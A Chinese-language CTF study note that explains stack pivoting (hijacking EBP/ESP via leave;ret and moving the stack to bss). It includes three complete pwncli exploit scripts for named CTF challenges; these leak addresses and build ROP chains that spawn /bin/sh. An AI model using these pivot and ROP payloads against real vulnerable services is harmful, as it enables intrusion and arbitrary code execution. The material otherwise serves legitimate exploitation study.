栈迁移


原理

栈迁移是一种通过劫持程序栈指针(ESP 和 EBP)来绕过缓冲区限制的技术,常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时,栈迁移能够扩展攻击范围,通过迁移栈到可控的内存区域来实现更复杂的攻击。

核心概念

  • EBP(栈帧寄存器):每次函数调用时,EBP用于维护栈帧结构。通过修改EBP指向攻击者可控的区域,函数栈空间也会发生改变。
  • ESP(栈指针寄存器):ESP指向栈顶,控制其地址后可以改变程序执行流,通常栈迁移会将其劫持到一个无需长度限制的区域,比如 bss 段。

使用场景
栈迁移主要用于缓冲区溢出攻击中的特殊情况:

  • 缓冲区较小:当溢出的空间只能覆盖到两个字长的栈内容时,栈迁移可以帮助攻击者突破限制,扩展控制范围。
  • 受限输入:当攻击者可输入的数据长度不足以直接覆盖 EIP 时,通过栈迁移可以进一步获得对程序的控制。

操作流程

  1. 覆盖 EBP 和 EIP:通过缓冲区溢出将栈帧寄存器(EBP)覆盖,使得函数调用时栈帧指向攻击者控制的区域。
  2. 调用 leave; ret gadgetleave 指令会将 EBP 的值赋给 ESP,使得栈指针迁移到新的区域,随后通过 ret 指令恢复执行流。
    • leave 指令mov esp, ebppop ebp,使 ESP 和 EBP 同时被控制。
    • ret 指令:跳转到新的返回地址,这通常是由攻击者精心设计的 ROP 链。
  3. 执行 ROP 链:在新栈区域中,攻击者可以通过 ROP(Return-Oriented Programming)链进行任意代码执行。

实际应用
栈迁移常常通过将 EBP 和 ESP 指向 bss 段等长度不受限制的内存区域,使得攻击者可以操作更多的栈空间。通过 leave; ret gadget,有效利用溢出的少量字节数来改变程序执行逻辑,从而实现进一步的利用。

优化策略

  • 选择合适的栈迁移目标区域:bss 段是常见的迁移目标,它通常没有长度限制且可读写,适合存储 ROP 链。
  • **精确利用 leave; ret**:利用好这两个指令可以确保栈指针成功迁移,并让攻击者在迁移后的控制区域继续执行代码。
  • ROP 链灵活设计:根据不同场景设计和优化 ROP 链,确保在栈迁移后能够顺利控制程序的后续执行。

栈迁移技术扩展了攻击者的控制范围,是解决栈空间不足问题的有效手段,在实际安全研究和攻击中广泛应用。

leave == mov esp,ebp; pop ebp;
ret == pop eip

通用模板记忆

1
2
3
4
5
第一次栈迁移进行rbp修改让下次输入指向我们需要的地方
第二次栈迁移修改rsp让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链
1
padding+p64(fake_stack)+p64(leave)

栈上迁移

栈上栈迁移的重点是要泄露栈帧

[HDCTF 2023]KEEP ON

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]

format=b"%16$p"
sa(b"name: \n",format)
ru(b"hello,")
leak_ebp=int(r(14),16)
success(hex(leak_ebp))

target=leak_ebp-0x60-8
leave=0x4007f2
rdi=0x00000000004008d3
sys=elf.plt.system
sh=target+32
payload=p64(rdi)+p64(sh)+p64(sys)+b"/bin/sh\x00"
payload=payload.ljust(80,b"a")+p64(target)+p64(leave)

sa("keep on !\n",payload)

ia()

[CISCN 2019东南]PWN2]

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
context.arch="i386"

sa(b"name?\n",b'a'*(0x28-1)+b'b')
ru(b"aaab")

#泄露的ebp地址
leak_ebp=u32(ru(b"\xff"))

off=0x38
leave=0x8048593

#payload开始地址
target=leak_ebp-off-0x4
sh=leak_ebp-off+0xc

payload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b"/bin/sh\x00"
payload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)

s(payload)

ia()

迁移到bss段

例题

2024 羊城杯 pstack

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
from pwncli import *

cli_script()
io=gift["io"]
elf=gift["elf"]
libc=ELF("./libc.so.6")
context.arch=elf.arch

rdi=0x0000000000400773
ret=0x0000000000400506
leave_ret=0x4006db
bss=elf.bss()+0x500
vuln=0x4006c4
rbp=0x4005b0
puts_got=elf.got.puts
puts_plt=elf.plt.puts

pay1=b'a'*0x30+p64(bss+0x30)+p64(vuln)
s(pay1)

pay2=p64(rdi)+p64(puts_got)+p64(puts_plt)
pay2+=p64(rbp)+p64(bss+0x200+0x30)+p64(vuln)
pay2+=p64(bss-8)+p64(leave_ret)

s(pay2)

ru(b"flow?\n")
puts_addr=u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
base=puts_addr-libc.sym.puts
sys=base+libc.sym.system
sh=base+libc.search("/bin/sh\x00").__next__()

pay3=(p64(rdi)+p64(sh)+p64(sys)).ljust(0x30,b'\x00')
pay3+=p64(bss+0x200-0x8)+p64(leave_ret)
s(pay3)

ia()

[NSSRound#14 Basic]rbp

[HNCTF 2022 WEEK2]pivot

[HGAME 2023 week1]orw

[CISCN 2019华南]PWN4

[HDCTF 2023]Minions

[HDCTF 2023]Makewish

[强网杯 2022]devnull

[MTCTF 2021]babyrop]

[SCTF 2022]Secure Horoscope

后言

参考链接: https://ctf-wiki.org/
参考链接:PWN入门(2-2-1)-栈迁移(x86) (yuque.com)